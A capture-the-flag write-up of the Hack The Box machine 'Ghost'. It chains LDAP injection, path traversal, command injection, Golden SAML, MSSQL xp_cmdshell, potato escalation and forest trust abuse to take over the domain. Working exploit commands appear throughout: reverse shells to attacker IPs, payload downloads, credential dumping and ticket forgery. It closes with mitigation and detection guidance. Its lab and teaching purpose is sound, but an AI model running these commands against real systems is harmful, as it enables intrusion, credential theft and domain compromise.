Overview#
Ghost is an Insane Windows machine built around an Active Directory forest with a sizable Linux web stack bolted onto the front. The initial surface is entirely web: a Ghost CMS blog, an internal Next.js intranet, and an ADFS-fronted “Ghost Core” application. The intranet authenticates against LDAP without sanitizing input, which gives both a login bypass and a blind character-by-character brute force of account secrets. That recovers Gitea credentials, and the Gitea source code exposes a modified Ghost CMS endpoint vulnerable to arbitrary file read and a Rust intranet API vulnerable to command injection.
From there the attack path crosses the boundary between Linux and Active Directory several times. Command injection lands a root shell inside a container, a reused SSH ControlMaster socket provides a session on the domain-joined Linux workstation as florence.ramirez, and that user’s Kerberos ticket unlocks domain enumeration. An ADIDNS record plus Responder captures and cracks justin.bradley’s NetNTLMv2 hash, giving WinRM access and the user flag. justin.bradley can read the ADFS gMSA password, which enables a Golden SAML attack to impersonate Administrator on the Core web application. That application is a thin front end over MSSQL, where a linked server allows impersonation of sa and command execution on a second domain controller.
The final stretch is pure Active Directory. The MSSQL service account on PRIMARY holds SeImpersonatePrivilege, which escalates to SYSTEM. PRIMARY is the domain controller for corp.ghost.htb, a child domain with a bidirectional, intra-forest trust to ghost.htb. With no SID filtering inside a forest, the krbtgt and trust keys harvested from corp are enough to forge a ticket carrying the Enterprise Admins SID, DCSync the parent domain, and authenticate to DC01 as Administrator for the root flag.
1
2
3
4
5
6
7
8
9
10
11
| recon -> web enum -> LDAP injection (intranet login as kathryn.holland)
-> LDAP blind brute (gitea_temp_principal) -> Gitea source
-> Ghost CMS file read (DEV_INTRANET_KEY) -> intranet /scan command injection
-> root in container -> SSH ControlMaster reuse -> florence.ramirez on LINUX-DEV-WS01
-> Kerberos ticket -> ADIDNS record + Responder -> justin.bradley NetNTLMv2 (cracked)
-> WinRM as justin.bradley (user flag) -> ReadGMSAPassword -> adfs_gmsa$
-> ADFSDump -> Golden SAML (ADFSpoof) -> core admin panel
-> MSSQL linked server -> impersonate sa -> xp_cmdshell -> mssqlserver on PRIMARY
-> SeImpersonate (EfsPotato) -> SYSTEM on PRIMARY (corp.ghost.htb DC)
-> DCSync corp -> interdomain trust ticket (Enterprise Admins SID)
-> DCSync ghost.htb -> Administrator hash -> WinRM on DC01 (root flag)
|
Reconnaissance#
A full TCP scan followed by service detection shows a Windows domain controller with a large web footprint:
1
2
| nmap -p- --min-rate 10000 10.10.10.x
nmap -p 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389 -sCV 10.10.10.x
|
1
2
3
4
5
6
7
8
9
10
11
| 53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows AD LDAP (Domain: ghost.htb)
445/tcp open microsoft-ds
636/tcp open ssl/ldap
1433/tcp open ms-sql-s Microsoft SQL Server 2022
3389/tcp open ms-wbt-server
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8008/tcp open http nginx 1.18.0 (Ubuntu) Ghost 5.78
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu) Ghost Core (core.ghost.htb)
|
The ports triage into three groups: a standard Windows DC (DNS, Kerberos, LDAP, SMB, MSSQL, WinRM), and two web servers whose nginx/1.18.0 (Ubuntu) banners on 8008 and 8443 indicate Linux services proxied behind the Windows host. The certificates leak DC01.ghost.htb, core.ghost.htb, and references to federation.ghost.htb, the ADFS endpoint.
1
| 10.10.10.x DC01 DC01.ghost.htb ghost.htb core.ghost.htb federation.ghost.htb
|
Port 8008 serves a Ghost blog with a single default post. robots.txt points at /ghost/, the CMS admin login. Port 8443 (“Ghost Core”) redirects to /login, and its “Login using AD Federation” button bounces to federation.ghost.htb/adfs/ls/?SAMLRequest=..., confirming SAML single sign-on fronted by ADFS. Both are noted for later and currently require credentials.
Virtual host fuzzing against 8008 reveals the intranet:
1
2
| ffuf -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb" \
-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
|
1
| intranet [Status: 307, Size: 3968]
|
intranet.ghost.htb redirects to a login page that asks for a username and a “secret” rather than a password - a small but important detail that suggests a non-standard backend.
Initial Access#
LDAP injection on the intranet#
The intranet login POST carries fields named 1_ldap-username and 1_ldap-secret, which strongly implies the credentials are used to build an LDAP query. A wrong secret returns 200 with an error, while a successful bind redirects with 303 and sets a session cookie. Submitting * for both fields is treated as a wildcard and logs in as the first matching directory entry, kathryn.holland, confirming the filter is injectable.
The intranet itself yields useful context: an ongoing migration from Gitea to Bitbucket where only gitea_temp_principal may log in, a user list that doubles as a valid-username list for the domain, and a forum thread where justin.bradley complains that his pipeline script cannot reach bitbucket.ghost.htb because its DNS record is not set up yet. All three facts matter later.
Because the wildcard behaves like a boolean oracle, the secret can be recovered one character at a time by appending * to a candidate prefix and watching for the 303 response. The secrets are constrained to letters and digits, which keeps the search space small:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| import requests, string
url = "http://intranet.ghost.htb:8008/login"
headers = {"Next-Action": "c471eb076ccac91d6f828b671795550fd5925940"}
username = "gitea_temp_principal"
password = ""
while True:
for c in string.ascii_letters + string.digits:
files = {
"1_ldap-username": (None, username),
"1_ldap-secret": (None, f"{password}{c}*"),
"0": (None, '[{},"$K1"]'),
}
r = requests.post(url, headers=headers, files=files, allow_redirects=False)
if r.status_code == 303:
password += c
break
else:
break
print(password)
|
This recovers the secret for gitea_temp_principal:
1
| gitea_temp_principal : szrr8kpc3z6onlqf
|
Gitea source code#
The intranet mentions Gitea but not its hostname. gitea.ghost.htb resolves, and gitea_temp_principal’s credentials grant access to the ghost-dev organization with two repositories: blog and intranet.
The blog README documents a shared DEV_INTRANET_KEY stored in an environment variable, a public Content API key a5af628828958c976a3b6cc81a, and a customized posts-public.js. Diffing that file against the upstream Ghost 5.78 release shows the injected behavior:
1
2
3
4
5
6
7
8
9
10
| const posts = await postsService.browsePosts(options);
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
|
The extra query parameter is concatenated into a path and read with no sanitization, so directory traversal allows arbitrary file read. The authenticated Content API key makes the endpoint reachable:
1
2
| curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../etc/passwd' \
-s | jq -r '.meta.extra["../../../../etc/passwd"]'
|
Reading /proc/self/environ is more valuable than any static file, because the README indicated the key lives in an environment variable shared with the backend:
1
2
| curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ' \
-s | jq -r '.meta.extra["../../../../proc/self/environ"]' | tr '\000' '\n'
|
1
2
3
| DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
GHOST_VERSION=5.78.0
...
|
Command injection in the intranet API#
The intranet repository holds a Rust backend. dev.rs gates a set of routes behind a single header check, X-DEV-INTRANET-KEY matching DEV_INTRANET_KEY, and scan.rs builds a shell command from attacker input:
1
2
3
4
| let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
|
data.url is interpolated straight into bash -c with no escaping, so shell metacharacters break out of the intended command. The README states the dev API is exposed at /api-dev, which on port 8008 maps to /api-dev/scan. Supplying the recovered key and a command separator proves execution as root:
1
2
3
4
| curl http://intranet.ghost.htb:8008/api-dev/scan \
-d '{"url": "http://10.10.14.x/; id"}' \
-H "Content-Type: application/json" \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -s | jq .
|
1
2
| "temp_command_stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"temp_command_stderr": "bash: line 1: intranet_url_check: command not found\n"
|
The intranet_url_check binary does not exist, but the injected id still runs. Swapping it for a reverse shell returns a root shell:
1
2
3
4
| curl http://intranet.ghost.htb:8008/api-dev/scan \
-d '{"url": "http://10.10.14.x/; bash -i >& /dev/tcp/10.10.14.x/443 0>&1"}' \
-H "Content-Type: application/json" \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe'
|
1
2
| root@36b733906694:/app# id
uid=0(root) gid=0(root) groups=0(root)
|
The hostname and the presence of /.dockerenv confirm this is a container, not the host.
Lateral Movement#
Container to florence.ramirez via SSH ControlMaster#
The container’s docker-entrypoint.sh configures SSH connection multiplexing before launching the application:
1
2
3
| mkdir -p /root/.ssh/controlmaster
printf 'Host *\n ControlMaster auto\n ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n ControlPersist yes' > /root/.ssh/config
exec /app/ghost_intranet
|
ControlMaster keeps a master connection alive and lets later invocations reuse it without re-authenticating. There is a live socket for a persistent session:
Because the master connection is already authenticated, SSH to the same target reuses it with no password:
1
2
| florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
|
LINUX-DEV-WS01 is a domain-joined Linux workstation authenticating against Active Directory through winbind and Kerberos. florence.ramirez has an active ticket cache, pointed to by KRB5CCNAME:
1
2
| florence.ramirez@LINUX-DEV-WS01:~$ env | grep KRB5
KRB5CCNAME=FILE:/tmp/krb5cc_50
|
The ticket is exfiltrated for use from the attacking host. As an aside, the first container’s environment also leaks LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j for intranet_principal, which is an alternative way to obtain a domain foothold for enumeration; the Kerberos ticket is used here instead.
1
2
3
| base64 /tmp/krb5cc_50 # paste, decode on attacker host into florence.ramirez.krb5cc
KRB5CCNAME=florence.ramirez.krb5cc klist
KRB5CCNAME=florence.ramirez.krb5cc netexec smb ghost.htb --use-kcache
|
Domain enumeration and ADIDNS to justin.bradley#
With a domain identity, BloodHound data can be collected over Kerberos:
1
2
| KRB5CCNAME=florence.ramirez.krb5cc bloodhound-python -c all -k -no-pass \
-d ghost.htb -u florence.ramirez --use-ldaps -ns 10.10.10.x --zip
|
The DC returns two A records for dc01.ghost.htb, the external 10.10.10.x and the internal 10.0.0.254, served round robin. Collectors that resolve the name themselves may pick the unreachable internal address and hang; re-running after a fresh DNS lookup flips the order. This is a collection quirk, not part of the intended path.
The forum thread is the pivot. justin.bradley runs an automated script that tries to reach bitbucket.ghost.htb, whose record does not yet exist. By default any authenticated user can create missing ADIDNS records, so pointing bitbucket.ghost.htb at the attacker and running Responder coerces that script into authenticating outbound.
1
2
3
4
5
| sudo python Responder.py -I tun0
KRB5CCNAME=florence.ramirez.krb5cc python dnstool.py \
-u 'ghost.htb\florence.ramirez' -k -a add -r bitbucket \
--zone ghost.htb --data 10.10.14.x -dns-ip 10.10.10.x DC01.ghost.htb
|
Shortly after, Responder captures a NetNTLMv2 challenge/response for justin.bradley, which cracks against rockyou:
1
| hashcat justin.bradley.netntlmv2 /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
1
| justin.bradley : Qwertyuiop1234$$
|
justin.bradley belongs to Remote Management Users, so the password grants a WinRM shell and the user flag:
1
| evil-winrm -i dc01.ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$'
|
1
2
| *Evil-WinRM* PS C:\Users\justin.bradley\Desktop> type user.txt
[REDACTED_USER_FLAG]
|
gMSA read and Golden SAML#
BloodHound shows justin.bradley holds ReadGMSAPassword over the adfs_gmsa$ service account. Reading the managed password yields its NTLM hash:
1
| netexec ldap dc01.ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa
|
1
| Account: adfs_gmsa$ NTLM: 4b020ee46c62ff8181f96de84088ff37
|
The gMSA password rotates automatically, so this value changes between sessions. adfs_gmsa$ is also in Remote Management Users, giving a WinRM shell as the ADFS service account:
1
| evil-winrm -i dc01.ghost.htb -u 'adfs_gmsa$' -H 4b020ee46c62ff8181f96de84088ff37
|
Controlling the ADFS service account enables a Golden SAML attack: with the token-signing key and its DKM decryption key, forged SAMLResponses can be signed for any user. ADFSDump.exe extracts the material from the configuration database and AD:
1
| *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
|
The output provides two private keys (the first works), the base64 encrypted token-signing key, the endpoint https://core.ghost.htb:8443/adfs/saml/postResponse, and the relying-party identifier https://core.ghost.htb:8443. The keys are converted to the binary forms ADFSpoof expects:
1
2
3
| echo "8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1" \
| tr -d "-" | xxd -r -p > private_key.bin
echo "AAAAAQ...<encrypted token signing key>...xm" | base64 -d > encrypted_token_signing_key.bin
|
A legitimate login is captured first to learn the claim format; the SAMLResponse decodes to XML whose AttributeStatement carries a upn and a CommonName claim. ADFSpoof then forges the same structure for Administrator:
1
2
3
4
5
6
| python ADFSpoof.py -b encrypted_token_signing_key.bin private_key.bin -s 'core.ghost.htb' saml2 \
--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid '[email protected]' \
--rpidentifier 'https://core.ghost.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
|
Replacing the SAMLResponse value in the POST to /adfs/saml/postResponse returns a 303 and a new session cookie. Loading that cookie and refreshing the Core application authenticates as Administrator.
MSSQL linked server to PRIMARY#
The Core admin panel is a thin front end over MSSQL, running queries as web_client on DC01. sp_linkedservers shows a linked server named PRIMARY, and OPENQUERY runs statements across the link. Checking for impersonation grants on PRIMARY reveals the escalation:
1
2
3
4
5
6
| SELECT * FROM OPENQUERY("PRIMARY", '
SELECT grantee.name AS Grantee, impersonated.name AS Impersonated
FROM sys.server_permissions perm
JOIN sys.server_principals grantee ON perm.grantee_principal_id = grantee.principal_id
JOIN sys.server_principals impersonated ON perm.major_id = impersonated.principal_id
WHERE perm.permission_name = ''IMPERSONATE'' ');
|
1
| Grantee: bridge_corp Impersonated: sa
|
The link allows RPC out, so stored procedures can run on PRIMARY with EXECUTE(...) AT [PRIMARY]. Impersonating sa enables xp_cmdshell:
1
| EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "show advanced options", 1; RECONFIGURE; exec sp_configure "xp_cmdshell", 1; reconfigure;') AT [PRIMARY]
|
A reverse shell is staged through an uploaded netcat, since an encoded PowerShell one-liner exceeds the 128-character identifier limit:
1
2
| EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "powershell -c iwr http://10.10.14.x/nc64.exe -outfile C:\programdata\nc64.exe"') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "C:\programdata\nc64.exe 10.10.14.x 443 -e powershell"') AT [PRIMARY]
|
1
2
3
4
| PS C:\Windows\system32> whoami
nt service\mssqlserver
PS C:\Windows\system32> hostname
PRIMARY
|
Privilege Escalation#
SeImpersonate to SYSTEM on PRIMARY#
As a database service account, mssqlserver holds SeImpersonatePrivilege:
1
2
| PS C:\programdata> whoami /priv
SeImpersonatePrivilege Impersonate a client after authentication Enabled
|
GodPotato is flagged by Defender on execution, so EfsPotato is compiled on the host with the bundled C# compiler and used instead:
1
2
3
| wget http://10.10.14.x/EfsPotato.cs -outfile EfsPotato.cs
C:\Windows\Microsoft.net\framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
.\EfsPotato.exe '\programdata\nc64.exe 10.10.14.x 444 -e powershell'
|
1
2
| PS C:\programdata> whoami
nt authority\system
|
Intra-forest trust abuse to DC01#
systeminfo and Get-ADDomainController show PRIMARY is the domain controller for corp.ghost.htb on 10.0.0.10, a child domain of ghost.htb. PowerView confirms the relationship:
1
2
3
4
5
6
| PS C:\programdata> Get-DomainTrust
SourceName : corp.ghost.htb
TargetName : ghost.htb
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
|
Inside a single forest there is no SID filtering by default, so a ticket forged in the child domain carrying the parent’s Enterprise Admins SID is honored across the trust. DCSync against corp harvests the keys needed to forge it, including the interdomain trust account GHOST$:
1
| PS C:\programdata> .\m.exe 'lsadump::dcsync /all /csv' exit
|
1
2
| 502 krbtgt 69eb46aa347a8c68edb99be2725403ab
1103 GHOST$ ce0fc4ace6a604ba514b94b682dac57d
|
Using the trust account hash, ticketer.py forges an inter-realm TGT that injects the ghost.htb Enterprise Admins SID (-519) as an extra SID:
1
2
3
4
5
| ticketer.py -nthash ce0fc4ace6a604ba514b94b682dac57d \
-domain-sid S-1-5-21-2034262909-2733679486-179904498 \
-domain corp.ghost.htb \
-extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
-spn krbtgt/ghost.htb attacker
|
That ticket requests a service ticket for CIFS on DC01, which then DCSyncs the parent domain:
1
| Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::
|
A Golden Ticket forged with the corp krbtgt AES key and the same Enterprise Admins SID (using Rubeus or mimikatz) reaches the same place; both abuse the missing intra-forest SID filtering. The recovered Administrator hash authenticates directly to DC01 over WinRM for the root flag:
1
| evil-winrm -i dc01.ghost.htb -u administrator -H 1cdb17d5c14ff69e7067cffcc9e470bd
|
1
2
| *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED_ROOT_FLAG]
|
Detection and Mitigation#
| Stage | Root cause | Mitigation |
|---|
| Intranet LDAP injection and secret brute force | Unsanitized input concatenated into the LDAP search filter | Escape LDAP special characters, use parameterized queries, enforce lockout and rate limiting on failed logins |
| Ghost CMS arbitrary file read | Custom posts-public.js reads an attacker-controlled path with no traversal check | Canonicalize and allowlist paths, strip .., remove the development feature from production |
Intranet /scan command injection | User input interpolated into bash -c | Avoid a shell, pass arguments as an array, validate URLs; gate dev routes to internal networks only |
| SSH ControlMaster reuse | Long-lived multiplexed socket owned by root in a service container | Shorten ControlPersist, isolate credentials, do not run the network service as root |
| ADIDNS record creation | Any authenticated user can create missing DNS records | Restrict DNS zone write ACLs, monitor record creation, disable dynamic updates where unneeded |
| NetNTLMv2 capture and crack | Weak password plus NTLM authentication to an attacker-controlled host | Strong password policy, disable NTLM, require SMB signing and channel binding |
| gMSA password read | Non-service principal granted retrieval rights over the ADFS gMSA | Scope PrincipalsAllowedToRetrieveManagedPassword to the hosting systems only |
| Golden SAML | Compromise of the ADFS token-signing key via the service account | Protect the ADFS service account, store signing keys in an HSM, monitor token issuance |
| MSSQL linked-server impersonation and xp_cmdshell | Linked login mapped to a privileged account with IMPERSONATE, RPC out enabled | Least-privilege linked-server logins, disable xp_cmdshell and RPC out |
| SeImpersonate potato | Service account holds SeImpersonatePrivilege | Remove the privilege where not required, apply vendor EFSRPC patches |
| Intra-forest trust abuse and DCSync | No SID filtering within the forest; krbtgt and trust keys exposed | Treat the forest as one security boundary, protect krbtgt and trust secrets, alert on replication from non-DCs |
Detection signals:
- Bursts of sequential intranet login attempts differing by a single trailing character, and unexpected
303 responses after wildcard input. - Content API requests to
/ghost/api/content/posts/ containing extra= with directory-traversal sequences or /proc/ paths. - POST requests to
/api-dev/scan whose url field contains shell metacharacters (;, |, backticks). - New ADIDNS records (DNS zone change events, directory object creation 5137) and NTLM authentication directed at a freshly created or nonexistent host.
- LDAP reads of
msDS-ManagedPassword and directory access events (4662) for the gMSA object by an unusual principal. - ADFS configuration database reads and anomalous registry or LSASS access by the ADFS service account; SAML tokens issued without a matching interactive authentication at the IdP.
sp_configure enabling xp_cmdshell and SQL Server spawning cmd.exe or powershell.exe.- Named-pipe and token-manipulation patterns from the MSSQL service, and process creation under
NT SERVICE\MSSQLSERVER. - DCSync replication (DRSUAPI
DsGetNCChanges, 4662 with replication GUIDs) sourced from a non-DC, and Kerberos service tickets (4769) with no preceding TGT request (4768), indicating forged tickets.
Lessons Learned#
- Custom code bolted onto a mature platform reintroduces basic bugs. A single injected endpoint turned a fully patched Ghost CMS into an arbitrary file read, and a one-line Rust handler became remote code execution.
- Service accounts should carry only the privileges they need. gMSA retrieval rights, linked-server impersonation, and
SeImpersonatePrivilege each converted a limited account into a far more powerful one. - Secrets reachable by a compromised process are compromised. The DEV_INTRANET_KEY, LDAP bind password, and a live SSH ControlMaster socket were all exposed to a network-facing service running as root in a container.
- Federation signing keys are domain-admin-equivalent. Whoever can sign SAML assertions can impersonate any user to every relying party, so the ADFS service account deserves the same protection as a tier-0 asset.
- An Active Directory forest is a single security boundary. Without SID filtering, control of a child domain controller plus its trust keys is enough to forge a path into the parent, so child domains cannot be treated as isolation.
Command Reference#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
| # Recon
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389 -sCV 10.10.10.x
ffuf -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb" \
-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
# LDAP injection: login bypass with * / *, then blind brute (see script) -> gitea_temp_principal : <gitea_secret>
# Ghost CMS arbitrary file read
curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ' \
-s | jq -r '.meta.extra["../../../../proc/self/environ"]' | tr '\000' '\n' # -> DEV_INTRANET_KEY=<dev_key>
# Command injection -> container shell as root
curl http://intranet.ghost.htb:8008/api-dev/scan \
-d '{"url": "http://10.10.14.x/; bash -i >& /dev/tcp/10.10.14.x/443 0>&1"}' \
-H "Content-Type: application/json" -H 'X-DEV-INTRANET-KEY: <dev_key>'
# Container -> florence.ramirez on LINUX-DEV-WS01
ssh [email protected]@dev-workstation
base64 /tmp/krb5cc_50 # decode to florence.ramirez.krb5cc on attacker host
# Domain enum + ADIDNS poisoning
KRB5CCNAME=florence.ramirez.krb5cc bloodhound-python -c all -k -no-pass \
-d ghost.htb -u florence.ramirez --use-ldaps -ns 10.10.10.x --zip
sudo python Responder.py -I tun0
KRB5CCNAME=florence.ramirez.krb5cc python dnstool.py \
-u 'ghost.htb\florence.ramirez' -k -a add -r bitbucket \
--zone ghost.htb --data 10.10.14.x -dns-ip 10.10.10.x DC01.ghost.htb
hashcat justin.bradley.netntlmv2 rockyou.txt # -> justin.bradley : <justin_pass>
# User flag
evil-winrm -i dc01.ghost.htb -u justin.bradley -p '<justin_pass>' # type user.txt
# gMSA read -> adfs_gmsa$
netexec ldap dc01.ghost.htb -u justin.bradley -p '<justin_pass>' --gmsa
evil-winrm -i dc01.ghost.htb -u 'adfs_gmsa$' -H <gmsa_hash>
# Golden SAML
# .\ADFSDump.exe (on target)
echo "8D-AC-...-A1" | tr -d "-" | xxd -r -p > private_key.bin
echo "AAAAAQ...xm" | base64 -d > encrypted_token_signing_key.bin
python ADFSpoof.py -b encrypted_token_signing_key.bin private_key.bin -s 'core.ghost.htb' saml2 \
--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid '[email protected]' --rpidentifier 'https://core.ghost.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
# MSSQL linked server -> mssqlserver on PRIMARY (run in the Core panel)
EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "show advanced options",1; RECONFIGURE; exec sp_configure "xp_cmdshell",1; reconfigure;') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "powershell -c iwr http://10.10.14.x/nc64.exe -outfile C:\programdata\nc64.exe"') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell "C:\programdata\nc64.exe 10.10.14.x 443 -e powershell"') AT [PRIMARY]
# SeImpersonate -> SYSTEM on PRIMARY
C:\Windows\Microsoft.net\framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
.\EfsPotato.exe '\programdata\nc64.exe 10.10.14.x 444 -e powershell'
# Intra-forest trust abuse -> DC01
.\m.exe 'lsadump::dcsync /all /csv' exit # -> GHOST$ : <trust_hash>, corp krbtgt
ticketer.py -nthash <trust_hash> -domain-sid S-1-5-21-2034262909-2733679486-179904498 \
-domain corp.ghost.htb -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \
-spn krbtgt/ghost.htb attacker
KRB5CCNAME=attacker.ccache getST.py -k -no-pass -spn cifs/dc01.ghost.htb corp.ghost.htb/[email protected]
KRB5CCNAME=[email protected]@[email protected] \
secretsdump.py -k -no-pass -just-dc [email protected] # -> Administrator : <admin_hash>
# Root flag
evil-winrm -i dc01.ghost.htb -u administrator -H <admin_hash> # type root.txt
|
Based on public write-ups of the Hack The Box machine Ghost.